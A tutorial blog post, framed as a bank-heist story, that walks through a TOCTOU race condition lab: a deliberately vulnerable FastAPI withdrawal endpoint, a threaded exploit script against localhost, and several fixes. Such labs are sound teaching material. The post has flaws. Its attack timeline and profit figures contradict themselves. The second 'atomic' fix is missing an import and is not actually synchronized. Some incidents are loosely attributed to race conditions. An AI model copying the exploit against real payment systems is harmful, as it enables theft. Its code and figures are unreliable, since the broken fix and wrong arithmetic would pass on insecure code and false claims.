March 9, 2026 — Day 21 of 30 Days of Security Engineering
Picture this: It's a rainy Tuesday afternoon in a nondescript fintech startup's office in San Francisco. The team at NovaPay — a shiny new digital wallet app — is celebrating their latest milestone: 10,000 users onboarded, with seamless withdrawals powering the growth. Their API is "bulletproof," they say. But unbeknownst to them, a subtle flaw lurks in the shadows: a race condition vulnerability, specifically a Time-of-Check to Time-of-Use (TOCTOU) bug in the withdrawal endpoint. It's not a flashy SQL injection or XSS; it's a silent assassin that exploits concurrency, turning a 2-second delay into a crowbar for digital theft.
In this case study, we'll dive into the breach like a red team op. I'll walk you through the vulnerability discovery, the architecture of our mini-lab (a self-contained "bank" you can spin up), the exploit mechanics, and the fixes that turn this house of cards back into Fort Knox. By the end, you'll have hands-on code, a live demo frontend, and the tools to hunt these bugs in your own systems. Think of it as a tiny CTF challenge wrapped in a heist story — because security isn't just code; it's narrative.
The Setup: NovaPay's House of Cards
NovaPay's core flow is simple: Users hit /withdraw?amount=300 to pull funds from their wallet. The server peeks at the balance (say, $1,000), nods approvingly, then — crucially — pauses for 2 seconds to simulate real-world friction like database commits or fraud scans. Only then does it deduct the cash.
Sounds airtight? In a single-threaded world, maybe. But users don't withdraw in isolation. What if five requests flood in at once? All five "peek" the $1,000 balance and pass the check before any deduction hits. Boom: $1,500 vanishes from a $1,000 account. The bank's ledger? A chaotic -$500.
This is TOCTOU in action: The Time of Check (balance >= amount?) happens, but by the Time of Use (deduct!), the state has shifted. No locks, no atomicity — just a shared dictionary begging for concurrency chaos.
Severity: Critical (CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization). In the wild, this has drained accounts (think double-spending in crypto) and earned bug bounties from $5K to $30K.
Lab Architecture: Your Personal Bank Heist Simulator
We've containerized this as a full-stack lab: A FastAPI backend (vulnerable by design) + a sleek React-like HTML frontend for "legit" banking and exploit controls. Spin it up locally, play the user, then flip to attacker mode.
race_condition_lab/
│
├── server_vulnerable.py # The flawed NovaPay API
├── index.html # Interactive banking UI + exploit panel
├── exploit.py # Python script for scripted attacks (bonus)
├── server_fixed_lock.py # Fix #1: Threading locks
├── server_fixed_atomic.py # Fix #2: Atomic subtraction
├── requirements.txt # FastAPI, Uvicorn, Requests
└── README.md # Quickstart
Quickstart: Boot the Bank
- Clone & Install:
mkdir race_condition_lab && cd race_condition_lab
pip install fastapi uvicorn requests
requirements.txt:
fastapi
uvicorn
requests
- Fire Up the Server:
uvicorn server_vulnerable:app --reload --port 8000
API live at http://127.0.0.1:8000. CORS enabled for the frontend.
Launch the UI:
Openindex.htmlin your browser (serves fromfile://or host viapython -m http.server 8080). It auto-fetches balance and transactions.-
Test Legit:
- Hit
/balance:{"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []} - Withdraw $300 via UI: Success, balance drops to $700.
- Hit
Now, the fun begins.
The Flaw Exposed: Vulnerable Server Code
Here's the heart of the breach — server_vulnerable.py. Notice the fatal gap: Check, sleep, deduct. No synchronization.
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import time
app = FastAPI()
app.add_middleware(
CORSMiddleware,
allow_origins=["*"],
allow_methods=["*"],
allow_headers=["*"],
)
# Simulated database — shared state, no locks
wallet = {
"balance": 1000,
"owner": "Alex Johnson",
"account": "****4291",
"transactions": []
}
@app.get("/")
def home():
return {"message": "NovaPay Banking API"}
@app.get("/balance")
def balance():
return {
"balance": wallet["balance"],
"owner": wallet["owner"],
"account": wallet["account"],
"transactions": wallet["transactions"][-10:]
}
@app.post("/withdraw")
def withdraw(amount: int):
# ⚠️ VULNERABILITY: Check-then-act race condition
# The balance check and deduction are NOT atomic
if wallet["balance"] >= amount:
# Simulate real-world processing delay (DB call, fraud check, etc.)
time.sleep(2)
# By the time we get here, another request may have already
# deducted the balance — but we already passed the check above!
wallet["balance"] -= amount
tx = {
"id": len(wallet["transactions"]) + 1,
"type": "debit",
"amount": amount,
"status": "success",
"timestamp": time.strftime("%H:%M:%S")
}
wallet["transactions"].append(tx)
return {
"status": "success",
"withdrawn": amount,
"new_balance": wallet["balance"],
"transaction_id": tx["id"]
}
return {
"status": "failed",
"message": "Insufficient funds",
"balance": wallet["balance"]
}
@app.post("/deposit")
def deposit(amount: int):
wallet["balance"] += amount
tx = {
"id": len(wallet["transactions"]) + 1,
"type": "credit",
"amount": amount,
"status": "success",
"timestamp": time.strftime("%H:%M:%S")
}
wallet["transactions"].append(tx)
return {"status": "success", "new_balance": wallet["balance"]}
@app.post("/reset")
def reset():
wallet["balance"] = 1000
wallet["transactions"] = []
return {"status": "reset", "balance": 1000}
The frontend (index.html) is a polished banking dashboard: Balance hero, withdraw/deposit forms, transaction history. But scroll down — there's an "Exploit Panel" for the attack, complete with concurrent request launcher, live logs, and theft stats. (Full HTML code below; it's ~500 lines of CSS/JS magic for that pro feel.)
The Heist: Exploiting the Race Window
As the attacker (let's call you "ShadowWire," a curious pentester), you recon the API with Burp or curl. Balance check? Clean. Single withdraw? Fine. But load testing reveals the crack.
Attack Timeline: The Crowbar in Action
t=0s: 5 threads hit /withdraw?amount=300
All read balance=1000 → All pass "if >=300"
t=2s: Delays end sequentially
Thread1: 1000-300=700 ✓
Thread2: 700-300=400 ✓
Thread3: 400-300=100 ✓
Thread4: 100-300=-200 ✓ (no check!)
Thread5: -200-300=-500 ✗ (but 4 already succeeded)
Net: $1,200 stolen from $1,000. Bank? -$500. ShadowWire walks with $900 profit.
Hands-On Exploit #1: UI Attack Panel
In the frontend's "Race Condition Lab" panel:
- Set amount=$300, threads=4.
- Hit "🚀 Launch Attack".
- Watch the log:
[*] Target balance: $1,000
[*] Firing 4 simultaneous requests for $300 each...
[✓] Request 1: SUCCESS — withdrew $300, balance now $700
[✓] Request 2: SUCCESS — withdrew $300, balance now $400
[✗] Request 3: FAILED — Insufficient funds
[+] VULNERABILITY CONFIRMED: Over-withdrew by $300!
Balance refreshes to $400 (wait, what?). You just "stole" $300 extra. Reset via /reset and retry with more threads for bigger hauls.
The JS uses Promise.all for concurrency — pure browser-based TOCTOU.
Hands-On Exploit #2: Scripted Fury (exploit.py)
For automation (or chaining in a Burp Turbo Intruder setup):
import threading
import requests
import time
TARGET = "http://127.0.0.1:8000/withdraw"
THREADS = 5
AMOUNT = 300
results = []
def attack(thread_id):
print(f"Thread {thread_id} sending request")
r = requests.post(TARGET, params={"amount": AMOUNT})
results.append(r.json())
print(f"Thread {thread_id} response: {r.json()}")
def main():
threads = []
start = time.time()
for i in range(THREADS):
t = threading.Thread(target=attack, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
end = time.time()
print(f"\nAttack completed in {round(end-start,2)} seconds")
print("\nResults:")
for r in results:
print(r)
# Fetch final balance
bal_r = requests.get("http://127.0.0.1:8000/balance")
print(f"Final balance: {bal_r.json()['balance']}")
if __name__ == "__main__":
main()
Run: python exploit.py. Output? Five "successes," balance in the red. Scale THREADS to 10 for mayhem.
The Autopsy: Why the Vault Cracked
Non-atomic ops on shared state. The if check reads a snapshot; the deduct writes to a mutated version. In production? Same with non-transactional DBs. Real hits: Ether's DAO hack (millions lost to races), Ticketmaster oversells, eBay coupon clones.
Detection? Fuzz with:
- Burp Intruder/Turbo: Cluster bomb on threads.
- Scripts: Threading/asyncio for Python/Go.
-
Load Tools:
wrk -t10 -c100,k6scripts.
The Counter-Heist: Fortifying NovaPay
Fix #1: Lock It Down (server_fixed_lock.py)
Wrap the critical section in a threading.Lock(). Only one withdraw at a time — serializes the race.
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import threading
import time
app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])
wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
lock = threading.Lock()
# ... (home, balance, deposit, reset unchanged)
@app.post("/withdraw")
def withdraw(amount: int):
with lock: # Atomic block
if wallet["balance"] >= amount:
time.sleep(2) # Delay still happens, but serialized
wallet["balance"] -= amount
tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
wallet["transactions"].append(tx)
return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}
return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}
Tradeoff: Throughput drops under load. Fine for low-traffic, but scale with Redis locks.
Fix #2: Atomic Math (server_fixed_atomic.py)
Ditch the check-delay-deduct. Compute new balance first, reject if negative. No window.
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"])
wallet = {"balance": 1000, "owner": "Alex Johnson", "account": "****4291", "transactions": []}
# ... (home, balance, deposit, reset unchanged)
@app.post("/withdraw")
def withdraw(amount: int):
new_balance = wallet["balance"] - amount
if new_balance < 0:
return {"status": "failed", "message": "Insufficient funds", "balance": wallet["balance"]}
wallet["balance"] = new_balance # Single write
tx = {"id": len(wallet["transactions"]) + 1, "type": "debit", "amount": amount, "status": "success", "timestamp": time.strftime("%H:%M:%S")}
wallet["transactions"].append(tx)
return {"status": "success", "withdrawn": amount, "new_balance": wallet["balance"], "transaction_id": tx["id"]}
Production gold: Wrap in DB transactions.
BEGIN TRANSACTION;
UPDATE accounts SET balance = balance - 300 WHERE id = 1 AND balance >= 300;
-- If rows_affected == 0, rollback (insufficient funds)
COMMIT;
Lab Screenshot
Real-World Echoes & Hunt Tips
- Incidents: 2010s flash crashes from racey trades; 2021 Poly Network $600M crypto drain (races in bridges).
- Bounties: HackerOne pays big for TOCTOU in payments (e.g., $20K on Stripe clones).
- Pro Tip: Assume concurrency. Test with chaos engineering (e.g., Gremlin for delays).
Epilogue: Lessons from the Shadows
NovaPay's "heist" reminds us: Security is timing. Validate and act atomically, or adversaries will thread their way in. Locks for simplicity, atomics for speed, transactions for scale. Design for the storm — concurrent users are the norm.
Reset your lab, swap in a fix, and re-attack. Does it hold? Tweak the sleep to 5s for drama. For extra polish:
- Visual Diagram: Mermaid timeline (code below — paste into mermaid.live).
- Burp Demo: Use Turbo Intruder with the exploit.py logic.
- Dockerize: Want a one-command CTF? Reply — I'll script it.
sequenceDiagram
participant A as Attacker Threads
participant S as Server (Shared Wallet)
Note over A,S: t=0: All check balance=1000
A->>S: if 1000 >= 300? (x5)
S-->>A: Yes (x5)
Note over A,S: t=2s: Sequential deducts
A->>S: balance -=300 (Thread1)
S-->>A: 700
A->>S: balance -=300 (Thread2)
S-->>A: 400
... (continues to negative)
This lab demonstrated a TOCTOU race condition in a banking withdrawal system.
Multiple concurrent requests exploited a delay between balance verification and deduction.
The attack allowed withdrawing more money than available.
Mitigation requires atomic operations or synchronization mechanisms.




Top comments (0)